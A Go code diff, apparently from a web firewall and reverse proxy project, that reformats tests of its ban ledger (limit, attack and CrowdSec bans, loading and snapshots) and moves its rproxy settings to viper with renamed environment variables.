ledger.Bans(a)[0].Start,
)
} }
} }
@@ -344,70 +263,41 @@ func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) {
notes := bans.Notes{RuleID: "env-file", Target: "path"} notes := bans.Notes{RuleID: "env-file", Target: "path"}
ban, _ := ledger.BanForAttack(netblock, midnight(), notes) ban, _ := ledger.BanForAttack(netblock, midnight(), notes)
if !ban.Expires.Equal(midnight().Add(7*day)) || if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack ||
ban.Cause != bans.CauseAttack || ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 ||
ban.Notes.RuleID != "env-file" ||
ledger.Made(bans.CauseAttack) != 1 ||
ledger.Made(bans.CauseLimit) != 0 { ledger.Made(bans.CauseLimit) != 0 {
t.Fatalf( t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+
"the ban is %+v, with %d made for an attack and %d for a limit, "+ "want one for an attack, of seven days", ban,
"want one for an attack, of seven days", ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit))
ban,
ledger.Made(bans.CauseAttack),
ledger.Made(bans.CauseLimit),
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// In observe mode the ban refuses nothing, and stays as it is, while // In observe mode the ban refuses nothing, and stays as it is, while
// Find tells that the request would have made it permanent. // Find tells that the request would have made it permanent.
got, _, wouldMakePermanent := ledger.Find( got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent {
midnight().Add(time.Hour), t.Fatalf("a request found under the ban left it %+v, would have made it "+
) "permanent %t, want it as it was, and true", got, wouldMakePermanent)
if got.Permanent() || ledger.Bans(netblock)[0].Permanent() ||
!wouldMakePermanent {
t.Fatalf(
"a request found under the ban left it %+v, would have made it "+
"permanent %t, want it as it was, and true",
got,
wouldMakePermanent,
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// A request it refuses makes it permanent, says so, and makes // A request it refuses makes it permanent, says so, and makes
// bans.json due. // bans.json due.
got, _, madePermanent := ledger.Check( got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour))
netblock.Addr(), if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() {
midnight().Add(time.Hour), t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+
) "want it made permanent", got, madePermanent)
if !madePermanent || !got.Permanent() ||
!ledger.Bans(netblock)[0].Permanent() {
t.Fatalf(
"after a request during the ban, it is %+v, made permanent %t, "+
"want it made permanent",
got,
madePermanent,
)
} }
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// The next request finds it permanent already. // The next request finds it permanent already.
_, banned, madePermanent := ledger.Check( _, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day))
netblock.Addr(),
midnight().Add(100*365*day),
)
if !banned || madePermanent { if !banned || madePermanent {
t.Errorf( t.Errorf("a later request is banned %t, and made the ban permanent %t, "+
"a later request is banned %t, and made the ban permanent %t, "+ "want banned by the permanent ban", banned, madePermanent)
"want banned by the permanent ban",
banned,
madePermanent,
)
} }
} }
@@ -435,11 +325,7 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) {
// Its notes show the earlier ban for an attack that makes it permanent, // Its notes show the earlier ban for an attack that makes it permanent,
// beside the one for a limit. // beside the one for a limit.
third, _ := ledger.BanForAttack( third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{})
netblock,
second.Expires.Add(30*day),
bans.Notes{},
)
if !third.Permanent() || if !third.Permanent() ||
third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) {
t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ t.Errorf("the next ban for an attack is %+v, want a permanent one, "+
@@ -456,18 +342,10 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
// While the first ban lasts, none would be made. // While the first ban lasts, none would be made.
during, would := ledger.WouldBanForAttack( during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{})
netblock,
midnight(),
bans.Notes{},
)
if would || !reflect.DeepEqual(during, first) { if would || !reflect.DeepEqual(during, first) {
t.Errorf( t.Errorf("during the first ban, would ban %t with %+v, want false with %+v",
"during the first ban, would ban %t with %+v, want false with %+v", would, during, first)
would,
during,
first,
)
} }
// As it ends, a clear sign of attack would ban for seven days, and a // As it ends, a clear sign of attack would ban for seven days, and a
@@ -475,31 +353,19 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) {
limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"}
attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires,
bans.Notes{RuleID: "git-dir"}) bans.Notes{RuleID: "git-dir"})
limit, wouldLimit := ledger.WouldBanForLimit( limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes)
netblock,
first.Expires,
limitNotes,
)
if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) ||
attack.Reason != "matched the rule git-dir" || !wouldLimit || attack.Reason != "matched the rule git-dir" || !wouldLimit ||
!limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) ||
limit.Reason != "requests per minute over the limit of 1" { limit.Reason != "requests per minute over the limit of 1" {
t.Errorf( t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+
"would ban with %+v and %+v, want seven days for the attack and "+ "three hours for the limit", attack, limit)
"three hours for the limit",
attack,
limit,
)
} }
if len(ledger.Bans(netblock)) != 1 || if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseLimit) != 1 ||
ledger.Made(bans.CauseAttack) != 0 { ledger.Made(bans.CauseAttack) != 0 {
t.Errorf( t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock))
"the ledger holds %+v, want the first ban alone",
ledger.Bans(netblock),
)
} }
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
@@ -556,8 +422,7 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) {
attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{})
limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit {
limit.Cause != bans.CauseLimit {
t.Errorf("the ban for a limit is %+v, want one of an hour", limit) t.Errorf("the ban for a limit is %+v, want one of an hour", limit)
} }
@@ -578,23 +443,15 @@ func TestRequestTextsAreCutTo256Bytes(t *testing.T) {
Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long,
} }
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
netblock,
midnight(),
bans.Notes{Request: request},
)
cut := long[:256] cut := long[:256]
want := bans.Request{ want := bans.Request{
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
} }
if ban.Notes.Request != want || if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
ledger.Bans(netblock)[0].Notes.Request != want { t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
t.Errorf(
"the notes keep %+v, want each text cut to 256 bytes",
ban.Notes.Request,
)
} }
} }
@@ -625,23 +482,13 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
{ASN: "AS64496", ASName: "Example Net", Country: "DE"}, {ASN: "AS64496", ASName: "Example Net", Country: "DE"},
} { } {
got := held[i].Notes got := held[i].Notes
if got.ASN != want.ASN || got.ASName != want.ASName || if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
got.Country != want.Country { t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
t.Errorf( got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
i+1,
got.ASN,
got.ASName,
got.Country,
want.ASN,
want.ASName,
want.Country,
)
} }
} }
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
notes.Country != "" {
t.Errorf("the ban on %s has %q and %q, want neither", t.Errorf("the ban on %s has %q and %q, want neither",
other, notes.ASN, notes.Country) other, notes.ASN, notes.Country)
} }
+20 -66
View File
@@ -20,55 +20,29 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
// The ban that would be made is not made. // The ban that would be made is not made.
would, wouldBan := ledger.WouldBanForCrowdSec( would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
netblock, scenario, bans.Notes{})
midnight(),
expires,
scenario,
bans.Notes{},
)
if !wouldBan || len(ledger.Bans(netblock)) != 0 { if !wouldBan || len(ledger.Bans(netblock)) != 0 {
t.Errorf( t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
"would ban %t, and the ledger holds %+v, want true and nothing", wouldBan, ledger.Bans(netblock))
wouldBan,
ledger.Bans(netblock),
)
} }
const reason = "CrowdSec's decision for " + scenario const reason = "CrowdSec's decision for " + scenario
ban, made := ledger.BanForCrowdSec( ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
netblock, bans.Notes{})
midnight(), if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
expires, !ban.Expires.Equal(expires) || ban.Reason != reason ||
scenario,
bans.Notes{},
)
if !made || !reflect.DeepEqual(ban, would) ||
ban.Cause != bans.CauseCrowdSec ||
!ban.Expires.Equal(expires) ||
ban.Reason != reason ||
ledger.Made(bans.CauseCrowdSec) != 1 { ledger.Made(bans.CauseCrowdSec) != 1 {
t.Errorf( t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
"made %t the ban %+v, want the one that would be made, %+v, for "+ "crowdsec until %s", made, ban, would, expires)
"crowdsec until %s",
made,
ban,
would,
expires,
)
} }
// A second decision on the netblock while the ban lasts makes no other. // A second decision on the netblock while the ban lasts makes no other.
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
expires.Add(time.Hour), scenario, bans.Notes{}) expires.Add(time.Hour), scenario, bans.Notes{})
if made || !again.Expires.Equal(expires) || if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
ledger.Made(bans.CauseCrowdSec) != 1 { t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
t.Errorf(
"made %t the ban %+v while the first lasts, want none",
made,
again,
)
} }
} }
@@ -78,13 +52,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
netblock := netip.MustParsePrefix("203.0.113.9/32") netblock := netip.MustParsePrefix("203.0.113.9/32")
expires := midnight().Add(4 * time.Hour) expires := midnight().Add(4 * time.Hour)
ledger.BanForCrowdSec( ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
netblock,
midnight(),
expires,
scenario,
bans.Notes{},
)
// A request as the ban ends is refused, and leaves it as it is. // A request as the ban ends is refused, and leaves it as it is.
last := expires.Add(-time.Nanosecond) last := expires.Add(-time.Nanosecond)
@@ -92,13 +60,8 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
held, banned, madePermanent := ledger.Check(netblock.Addr(), last) held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
if !banned || madePermanent || !held.Expires.Equal(expires) || if !banned || madePermanent || !held.Expires.Equal(expires) ||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
t.Errorf( t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
"as the ban ends, banned %t with %+v, made permanent %t, want "+ "refused under the ban as it was", banned, held, madePermanent)
"refused under the ban as it was",
banned,
held,
madePermanent,
)
} }
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
@@ -106,9 +69,7 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
} }
} }
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit( func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
@@ -117,20 +78,13 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
// Three times the three days would be permanent; a limit broken as the // Three times the three days would be permanent; a limit broken as the
// ban for CrowdSec's decision ends bans for an hour, as a first broken // ban for CrowdSec's decision ends bans for an hour, as a first broken
// limit does. // limit does.
crowdSec, _ := ledger.BanForCrowdSec( crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
netblock, scenario, bans.Notes{})
midnight(),
midnight().Add(3*day),
scenario,
bans.Notes{},
)
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
if limit.Expires.Sub(limit.Start) != time.Hour || if limit.Expires.Sub(limit.Start) != time.Hour ||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
t.Errorf( t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
"the ban for a limit is %+v, want one of an hour after one for crowdsec", limit)
limit,
)
} }
} }
+22 -79
View File
@@ -29,16 +29,8 @@ func TestChangedAfterABanIsMade(t *testing.T) {
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
// Two bans before the value is read leave one. // Two bans before the value is read leave one.
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("203.0.113.10/32"), ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
midnight(),
bans.Notes{},
)
ledger.BanForLimit(
netip.MustParsePrefix("203.0.113.11/32"),
midnight(),
bans.Notes{},
)
wantChanged(t, ledger, true) wantChanged(t, ledger, true)
wantChanged(t, ledger, false) wantChanged(t, ledger, false)
} }
@@ -60,10 +52,7 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
got := make([]string, 0, len(snapshot)) got := make([]string, 0, len(snapshot))
for _, ban := range snapshot { for _, ban := range snapshot {
got = append( got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
got,
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
)
} }
want := []string{ want := []string{
@@ -88,10 +77,7 @@ func TestLoadedBansCarryOn(t *testing.T) {
after := bans.New(defaultParams()) after := bans.New(defaultParams())
after.Load(before.Snapshot()) after.Load(before.Snapshot())
_, banned, _ := after.Check( _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
netblock.Addr(),
ban.Expires.Add(-time.Second),
)
if !banned { if !banned {
t.Error("the loaded ban does not refuse") t.Error("the loaded ban does not refuse")
} }
@@ -99,11 +85,8 @@ func TestLoadedBansCarryOn(t *testing.T) {
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
if again.Expires.Sub(again.Start) != 3*time.Hour || if again.Expires.Sub(again.Start) != 3*time.Hour ||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
t.Errorf( t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", again.Expires.Sub(again.Start), again.Notes.EarlierBans)
again.Expires.Sub(again.Start),
again.Notes.EarlierBans,
)
} }
} }
@@ -115,20 +98,10 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
// ban covers, beside a ban the ledger makes on one IPv4 address. // ban covers, beside a ban the ledger makes on one IPv4 address.
ledger := bans.New(defaultParams()) ledger := bans.New(defaultParams())
ledger.Load([]bans.Ban{ ledger.Load([]bans.Ban{
{ {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
Netblock: netip.MustParsePrefix("203.0.113.9/24"), {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
Start: midnight(),
},
{
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
Start: midnight(),
},
}) })
ledger.BanForLimit( ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
netip.MustParsePrefix("198.51.100.7/32"),
midnight(),
bans.Notes{},
)
for client, want := range map[string]bool{ for client, want := range map[string]bool{
"203.0.113.0": true, "203.0.113.0": true,
@@ -165,10 +138,7 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
// As when an admin adds a permanent ban to bans.json with a start // As when an admin adds a permanent ban to bans.json with a start
// before that of the netblock's ban that has ended. // before that of the netblock's ban that has ended.
netblock := netip.MustParsePrefix("203.0.113.0/24") netblock := netip.MustParsePrefix("203.0.113.0/24")
permanent := bans.Ban{ permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
Netblock: netblock,
Start: midnight().Add(-time.Hour),
}
ended := bans.Ban{ ended := bans.Ban{
Netblock: netblock, Netblock: netblock,
Start: midnight(), Start: midnight(),
@@ -183,31 +153,20 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
ban, banned, _ := ledger.Find(client, now) ban, banned, _ := ledger.Find(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
"find gives %+v and %t, want the permanent ban",
ban,
banned,
)
} }
ban, banned, _ = ledger.Check(client, now) ban, banned, _ = ledger.Check(client, now)
if !banned || !ban.Permanent() { if !banned || !ban.Permanent() {
t.Errorf( t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
"the client is refused: %t, under %+v, want under the permanent ban", banned, ban)
banned,
ban,
)
} }
// A limit broken now makes no shorter ban over the permanent one. // A limit broken now makes no shorter ban over the permanent one.
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{}) ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 { if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
t.Errorf( t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
"a broken limit returned %+v and left the netblock %d bans, "+ "want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
"want the permanent ban and 2",
ban,
len(ledger.Bans(netblock)),
)
} }
} }
@@ -236,11 +195,7 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
// Once both have ended, a limit broken within the repeat window bans // Once both have ended, a limit broken within the repeat window bans
// for three times the 9 hours, and the notes count the two bans // for three times the 9 hours, and the notes count the two bans
// before the 9-hour one and it, for a limit, and the admin's. // before the 9-hour one and it, for a limit, and the admin's.
ban, _ := ledger.BanForLimit( ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
netblock,
nineHours.Expires.Add(time.Hour),
bans.Notes{},
)
if ban.Expires.Sub(ban.Start) != 27*time.Hour || if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) { ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
t.Errorf("the next ban lasts %s with earlier bans %+v, "+ t.Errorf("the next ban lasts %s with earlier bans %+v, "+
@@ -271,10 +226,7 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
held := ledger.Snapshot() held := ledger.Snapshot()
if len(held) != 1 || !reflect.DeepEqual(held[0], later) { if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
t.Errorf( t.Errorf("the ledger holds %+v, want only the ban that began later", held)
"the ledger holds %+v, want only the ban that began later",
held,
)
} }
} }
@@ -304,25 +256,16 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
// bans.json is taken in, that ban is lifted. // bans.json is taken in, that ban is lifted.
ledger.Load([]bans.Ban{kept}) ledger.Load([]bans.Ban{kept})
_, banned, _ := ledger.Check( _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
netip.MustParseAddr("203.0.113.9"),
midnight(),
)
if banned { if banned {
t.Error("a ban left out of the second load still refuses") t.Error("a ban left out of the second load still refuses")
} }
// The ledger holds one ban, so it makes two more without dropping any. // The ledger holds one ban, so it makes two more without dropping any.
first, _ := ledger.BanForLimit( first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
netip.MustParsePrefix("198.51.100.7/32"), bans.Notes{})
midnight(), second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
bans.Notes{}, bans.Notes{})
)
second, _ := ledger.BanForLimit(
netip.MustParsePrefix("198.51.100.8/32"),
midnight(),
bans.Notes{},
)
want := []bans.Ban{first, second, kept} want := []bans.Ban{first, second, kept}
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) { if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
+2351 -20
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+16
View File
@@ -0,0 +1,16 @@
// Package configtest gives the tests of the packages that read settings the
// settings they choose.
package configtest
import "github.com/spf13/viper"
// Viper returns a viper holding each of settings, as the viper config.NewViper
// returns holds a process's environment.
func Viper(settings map[string]string) *viper.Viper {
v := viper.New()
for name, value := range settings {
v.Set(name, value)
}
return v
}
+38 -117
View File
@@ -8,38 +8,39 @@ import (
"net/netip" "net/netip"
"net/url" "net/url"
"strconv" "strconv"
"strings"
"time" "time"
"github.com/spf13/viper"
) )
// RProxy is the settings of `sww rproxy`. A size or time limit of zero // RProxy is the settings of `sww rproxy`. A size or time limit of zero
// is off. // is off.
type RProxy struct { type RProxy struct {
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR). // ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
ListenAddr string ListenAddr string
// UpstreamURL is the app (SWRP_UPSTREAM_URL). // UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
UpstreamURL *url.URL UpstreamURL *url.URL
// TrustedProxies are the netblocks whose X-Forwarded-For is believed // TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWRP_TRUSTED_PROXIES). // (SWW_RPROXY_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix TrustedProxies []netip.Prefix
// WAFBackend is waf's URL (SWRP_WAF_BACKEND). // WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
WAFBackend *url.URL WAFBackend *url.URL
// Timeout is how long rproxy waits for waf's answer to a question, // Timeout is how long rproxy waits for waf's answer to a question,
// and to a report (SWRP_TIMEOUT_MS). It cannot be off. // and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
Timeout time.Duration Timeout time.Duration
// DefaultDisposition is what is done with a request when waf cannot be // DefaultDisposition is what is done with a request when waf cannot be
// connected to, does not answer at all, or does not answer within Timeout: // connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWRP_DEFAULT_DISPOSITION). // allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
DefaultDisposition string DefaultDisposition string
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and // MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE). // MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
MaxRequestSize int64 MaxRequestSize int64
MaxResponseSize int64 MaxResponseSize int64
// MaxRequestTime bounds sending the whole request: the visitor's request // MaxRequestTime bounds sending the whole request: the visitor's request
// line and headers, and then, from their end, its body on its way to the // line and headers, and then, from their end, its body on its way to the
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from // app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
// the end of the request to its last byte reaching the visitor // the end of the request to its last byte reaching the visitor
// (SWRP_MAX_RESPONSE_TIME_MS). // (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
MaxRequestTime time.Duration MaxRequestTime time.Duration
MaxResponseTime time.Duration MaxResponseTime time.Duration
@@ -48,62 +49,36 @@ type RProxy struct {
settings []slog.Attr settings []slog.Attr
} }
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
const defaultUpstreamURL = "http://127.0.0.1:8081"
// privateRanges are the private address ranges, the default trusted
// proxies.
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
var ( var (
errNotUpstreamURL = errors.New(
"is not a URL with only a scheme, a host and an optional port, " +
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New( errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080") "is required: it is waf's URL, such as http://waf:8080")
errNotDisposition = errors.New("is not allow or deny") errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New( errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000") "is not a whole number of milliseconds above zero, such as 2000")
errNotMillisecondsOrOff = errors.New( errNotMillisecondsOrOff = errors.New(
"is not a whole number of milliseconds above zero, such as 60000, or off", "is not a whole number of milliseconds above zero, such as 60000, or off")
)
) )
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally // RProxyFromEnvironment reads rproxy's settings through v, normally the viper
// os.LookupEnv. A setting that is not set takes its default, and // NewViper returns, bound to the process's environment. A setting that is not
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but // set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
// invalid is an error that names it. Since rproxy never touches disk, its // set. A setting may instead be given as a file: the variable named by the
// settings have no _FILE form. // setting's name with _FILE added names the file, which is read now. A setting
func RProxyFromEnvironment( // that is set but invalid is an error that names it.
lookupEnv func(string) (string, bool), func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
) (*RProxy, error) { env := &environment{v: v}
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
cfg := &RProxy{ cfg := &RProxy{
ListenAddr: env.address("SWRP_LISTEN_ADDR"), ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
UpstreamURL: env.appURL( UpstreamURL: env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL),
"SWRP_UPSTREAM_URL", TrustedProxies: env.netblocks("SWW_RPROXY_TRUSTED_PROXIES", privateRanges),
defaultUpstreamURL, WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
), Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
TrustedProxies: env.netblocks( DefaultDisposition: env.disposition("SWW_RPROXY_DEFAULT_DISPOSITION", "allow"),
"SWRP_TRUSTED_PROXIES", MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
privateRanges, MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
), MaxRequestTime: env.millisecondsOrOff("SWW_RPROXY_MAX_REQUEST_TIME_MS", "60000"),
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
DefaultDisposition: env.disposition(
"SWRP_DEFAULT_DISPOSITION",
"allow",
),
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
MaxRequestTime: env.millisecondsOrOff(
"SWRP_MAX_REQUEST_TIME_MS",
"60000",
),
MaxResponseTime: env.millisecondsOrOff( MaxResponseTime: env.millisecondsOrOff(
"SWRP_MAX_RESPONSE_TIME_MS", "SWW_RPROXY_MAX_RESPONSE_TIME_MS", "1800000"),
"1800000",
),
} }
if env.err != nil { if env.err != nil {
@@ -115,15 +90,15 @@ func RProxyFromEnvironment(
return cfg, nil return cfg, nil
} }
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and // RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other // SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
// setting, so it reads no other. // setting, so it reads no other.
func RProxyListenAddrAndUpstreamURL( func RProxyListenAddrAndUpstreamURL(
